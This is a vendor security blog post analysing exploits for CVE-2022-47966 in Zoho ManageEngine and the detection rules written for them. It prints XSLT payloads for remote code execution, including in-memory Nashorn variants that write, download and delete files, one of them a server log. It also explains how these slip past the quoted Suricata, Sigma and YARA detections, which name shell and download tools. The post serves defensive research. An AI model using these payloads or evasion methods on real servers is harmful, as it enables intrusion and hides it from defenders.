Go back

A Different Payload for CVE-2022-47966

avatar
Jacob Baines@Junior_Baines

One of the many things we do at VulnCheck is track public exploits. We’ve found very few security professionals develop their own original exploits. The exploits we end up tracking are often derivative works based on the first public exploit. This is in full display for CVE-2022-47966, an unauthenticated and remote vulnerability affecting a variety of Zoho ManageEngine Products.

The first public exploit published for CVE-2022-47966 was developed by Horizon3.ai and published alongside a technical blog. Following that release, we tracked a number of derivative exploits. Some are useful (e.g. Nuclei, Metasploit). Some add stylistic flair. Some are almost entirely copy and paste jobs. But no matter their differences, they all look, behave, and achieve execution like the original Horizon3.ai exploit.

Key Takeaways

The first public exploit published for CVE-2022-47966 was developed by Horizon3.ai. Since then, VulnCheck has seen more than a dozen derivatives of the exploit that all look, behave, and achieve execution like the original.
The problem with the lack of diversity in public offensive tooling is that it’s mirrored by a lack of diversity in defensive tooling.
Today, there are a few freely available defensive tools that have published detections for CVE-2022-47966 from SigmaHQ, Rapid7 and Proofpoint. They all derive from, and are tailored to, the initial proof of concept developed by Horizon3.ai.
However, these tools anticipate exploits that use an XSLT transform that ends in getRuntime().exec() in order to execute external programs.
The reality is that an attacker with only a little knowledge can develop a new exploit that follows a completely different path and bypasses most open source detections currently available.

Payload Similarities

Of the exploits mentioned above, all, except Metasploit, use the exact random values that Horizon3.ai embedded in their payload (not a requirement for exploitation). All send the exploit payload using an HTTP POST request. They all use the exact same XSLT transform to achieve arbitrary code execution:

<ds:Transforms>
    <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
     <xsl:stylesheet version="1.0"
         xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
         xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
         xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
         <xsl:template match="/">
             <xsl:variable name="rtobject" select="rt:getRuntime()"/>
             <xsl:variable name="process" select="rt:exec($rtobject,'{command}')"/>
             <xsl:variable name="processString" select="ob:toString($process)"/>
             <xsl:value-of select="$processString"/>
         </xsl:template>
     </xsl:stylesheet>
    </ds:Transform>
</ds:Transforms>

For those unfamiliar with XSLT transforms, the transform above invokes Java’s getRuntime().exec() with an attacker-provided string. For example, the attacker might provide the string cmd.exe /c whoami to execute the command whoami. That’s a fine solution for a proof of concept exploit, but a poor real world solution, as we will soon discuss.

Derivative exploits aren't necessarily a bad thing. For example, it’s great that Nuclei and Metasploit have CVE-2022-47966 implementations. Those tools will be widely used throughout the industry to detect, exploit, and eventually mitigate this vulnerability. The problem with the lack of diversity in public offensive tooling is that it’s mirrored by a lack of diversity in defensive tooling. Meaning, offensive security informs defensive security.

Detections for CVE-2022-47966

There are a few freely available defensive tools that have published detections for CVE-2022-47966. There’s a Sigma rule, a Velociraptor log parser, and a couple of Emerging Threats network signatures. All of these detections derive from, and are tailored to, the initial proof of concept developed by Horizon3.ai.

Consider these two Suricata rules published by Emerging Threats:

alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT ManageEngine Unauthenticated RCE Attempt M1 (CVE-2022-47966)"; \
flow:to_server,established; \
http.method; content:"POST"; \
http.request_body; content:"|27|SAMLResponse|27|"; fast_pattern; \
content:"|3a|"; distance:0; within:5; \
content:"|27|"; base64_decode:offset 0, relative; \
base64_data; content:"|3a|getRuntime|28 29|"; \
content:"|3a|exec|28|"; \
reference:cve,2022-47966; \
classtype:attempted-admin; \
sid:2043335; rev:1; \
metadata:attack_target Server, created_at 2023_01_19, cve CVE_2022_47966, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2023_01_19; )
alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT ManageEngine Unauthenticated RCE Attempt M2 (CVE-2022-47966)"; \
flow:to_server,established; \
http.method; content:"POST"; \
http.request_body; content:"|22|SAMLResponse|22|"; fast_pattern; \
content:"|3a|"; distance:0; within:5; \
content:"|22|"; \
base64_decode:offset 0, relative; \
base64_data; content:"|3a|getRuntime|28 29|"; \
content:"|3a|exec|28|"; \
reference:cve,2022-47966; \
classtype:attempted-admin; \
sid:2043336; \
rev:1; \
metadata:attack_target Server, created_at 2023_01_19, cve CVE_2022_47966, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2023_01_19;)

Ignoring the fact that these rules will never trigger on any exploit written for CVE-2022-47966, you can see that they were modeled after the Horizon3.ai exploit. The rules require an HTTP POST request and they look for getRuntime and exec in the base64 encoded XML payload. Neither of these things are actually a requirement to exploit CVE-2022-47966.

Exploitation doesn’t require an HTTP POST. The PCAP screenshot below shows an exploit with the payload in an HTTP GET request resulting in a reverse shell.

GET Payload

Nor does CVE-2022-47966 need to use getRuntime().exec(). In fact, it’s probably best not to. As stated earlier, an XSLT transform can execute arbitrary Java. There isn’t any need to invoke external programs like cmd.exe and powershell.exe. Java has most of what an attacker needs built-in. Additionally, java.exe invoking external programs is widely treated as potentially suspicious behavior and is likely to get an attacker caught.

For example, the Sigma rule for CVE-2022-47966 is written to detect this exact activity:

logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|contains|all:
            - '\ManageEngine\ServiceDesk\'
            - '\java.exe'
        Image|endswith:
            - '\powershell.exe'
            - '\sh.exe'
            - '\bash.exe'
            - '\pwsh.exe'
            - '\schtasks.exe'
            - '\certutil.exe'
            - '\whoami.exe'  # Often used in POCs
            - '\bitsadmin.exe'
            - '\wscript.exe'
            - '\cscript.exe'
            - '\scrcons.exe'
            - '\wmic.exe'
            - '\mshta.exe'
            - '\forfiles.exe'
            - '\mftrace.exe'
            - '\AppVLP.exe'
            - '\curl.exe'
            - '\notepad.exe'  # Often used in POCs
            - '\systeminfo.exe'
            - '\net.exe'
            - '\net1.exe'
            - '\reg.exe'
            - '\query.exe'

This is a simple and effective detection, and it should work against the Metasploit module developed for ManageEngine ServiceDesk Plus. That’s because the module uses Horizon3.ai’s getRuntime().exec() transform to invoke Powershell (see powershell.exe in the rule above). However, the Sigma rule won’t work against an attacker that chooses to stay in memory.

Memory Resident Payload

There are numerous ways for an attacker to go about abusing XSLT transforms to stay in memory, but the most flexible way (in my opinion) is to just invoke the Nashorn JavaScript engine. That transform looks like this:

<ds:Transforms>
    <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
    <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
     <xsl:stylesheet version="1.0"
         xmlns:sem="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
         xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
         xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
         <xsl:template match="/">
             <xsl:variable name="engineobject" select="sem:new()"/>
             <xsl:variable name="jsobject" select="sem:getEngineByName($engineobject,'nashorn')"/>
             <xsl:variable name="out" select="se:eval($jsobject,'INSERT ARBITRARY CODE HERE')"/>
             <xsl:value-of select="$out"/>
         </xsl:template>
     </xsl:stylesheet>
    </ds:Transform>
</ds:Transforms>

Using an XSLT transform to invoke Nashorn allows an attacker to do almost anything they’d want from within the original ManageEngine java.exe. The attacker doesn’t need to invoke external programs because Java, however painful it may be, has a deep feature-rich standard library that is largely available to the Nashorn engine.

Need to write a file? No problem.

<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
    <xsl:stylesheet version="1.0"
     xmlns:sem="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
     xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
     xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
     <xsl:template match="/">
         <xsl:variable name="engineobject" select="sem:new()"/>
         <xsl:variable name="jsobject" select="sem:getEngineByName($engineobject,'nashorn')"/>
         <xsl:variable name="out" select="se:eval($jsobject,'var FileWriter = Java.type(&quot;java.io.FileWriter&quot;);
          var rootPath = Java.type(&quot;java.lang.System&quot;).getenv(&quot;SystemDrive&quot;);
          rootPath += &quot;/vulncheck.txt&quot;;
          var fwObj = new FileWriter(rootPath);
          fwObj.write(&quot;hello world!&quot;);
          fwObj.close();')"/>
         <xsl:value-of select="$out"/>
     </xsl:template>
    </xsl:stylesheet>
</ds:Transform>

Need to download something from the internet? Eat your heart out, curl.exe.

<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
    <xsl:stylesheet version="1.0"
     xmlns:sem="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
     xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
     xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
     <xsl:template match="/">
         <xsl:variable name="engineobject" select="sem:new()"/>
         <xsl:variable name="jsobject" select="sem:getEngineByName($engineobject,'nashorn')"/>
         <xsl:variable name="out" select="se:eval($jsobject,'var URL = Java.type(&quot;java.net.URL&quot;);
         var url = new URL(&quot;https&quot; + String.fromCharCode(58) + &quot;//www.google.com:/&quot;);
         var is = url.openStream();
         var localPath = Java.type(&quot;java.nio.file.Paths&quot;).get(Java.type(&quot;java.lang.System&quot;).getenv(&quot;SystemDrive&quot;) + &quot;/vulncheck.txt&quot;);
         Java.type(&quot;java.nio.file.Files&quot;).copy(is, localPath);')"/>
         <xsl:value-of select="$out"/>
     </xsl:template>
    </xsl:stylesheet>
</ds:Transform>

Need to delete a file? You can delete ‘em all if you want!

<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
    <xsl:stylesheet version="1.0"
     xmlns:sem="http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager"
     xmlns:se="http://xml.apache.org/xalan/java/javax.script.ScriptEngine"
     xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
     <xsl:template match="/">
         <xsl:variable name="engineobject" select="sem:new()"/>
         <xsl:variable name="jsobject" select="sem:getEngineByName($engineobject,'nashorn')"/>
         <xsl:variable name="out" select="se:eval($jsobject,'var File = Java.type(&quot;java.io.File&quot;);
     var log = new File(&quot;../logs/serverout1.txt&quot;);
     log.delete();')"/>
         <xsl:value-of select="$out"/>
     </xsl:template>
    </xsl:stylesheet>
</ds:Transform>

These are short snippets, but they demonstrate the primitives needed to deploy a more malicious tool. As demonstrated, an XSLT transform that invokes Nashorn has few limits on what it can do on the victim host, while remaining in memory. getRuntime().exec() is an inferior solution, especially since open source tooling and reporting has told defenders that’s what they should be watching out for.

The only wrinkle is that Velociraptor’s detection will still flag exploitation even when the attacker uses the Nashorn transform. That’s because Velociraptor implemented a simple YARA rule that parses the ManageEngine log file for indicators of compromise:

rule LOG_EXPL_ManageEngine_CVE_2022_47966_Jan23 {
   meta:
    description = "Detects Exploitation of Critical ManageEngine Vulnerability: CVE-2022-47966"
    author = "Matt Green - @mgreen27"
    reference = "https://www.rapid7.com/blog/post/2023/01/19/etr-cve-2022-47966-rapid7-observed-exploitation-of-critical-manageengine-vulnerability/"
    date = "2023-01-20"
   strings:
    $s1 = "com.adventnet.authentication.saml.SamlException: Signature validation failed. SAML Response rejected"
    $re1 = /invalid_response --> .{20,}/s  //Logging typically contains this string followed by Base64 <samlp:Response Version=
     
    $ip1 = "111.68.7.122"
    $ip2 = "149.28.193.216"
    $ip3 = "172.93.193.64"
     
    condition:
    any of them
}

To me, this is brilliant and perhaps an ideal solution. As far as I can tell, the attacker can’t prevent $s1 or $re1 from being written to the log. The defender wins as long as Velociraptor can acquire the log file before the attacker modifies or deletes it. Of course, that race is sort of a dicey bet for the defender. But it’s better than nothing and goes to show that there is huge value in collecting and parsing log files.

Conclusion

The lack of diversity in public exploits can lead to scenarios in which both attackers and defenders are only using or defending against suboptimal exploits. In the case of CVE-2022-47966, we see both attackers and defenders anticipating exploits that use an XSLT transform that ends in getRuntime().exec() in order to execute external programs. The reality is that an attacker with only a little knowledge can develop an exploit that follows a completely different path and bypasses most open source detections currently available.

VulnCheck tracks public exploits and their timelines. VulnCheck also develops their own exploits including a version of CVE-2022-47966 that creates a reverse shell with Nashorn. For more information, register for a VulnCheck account today.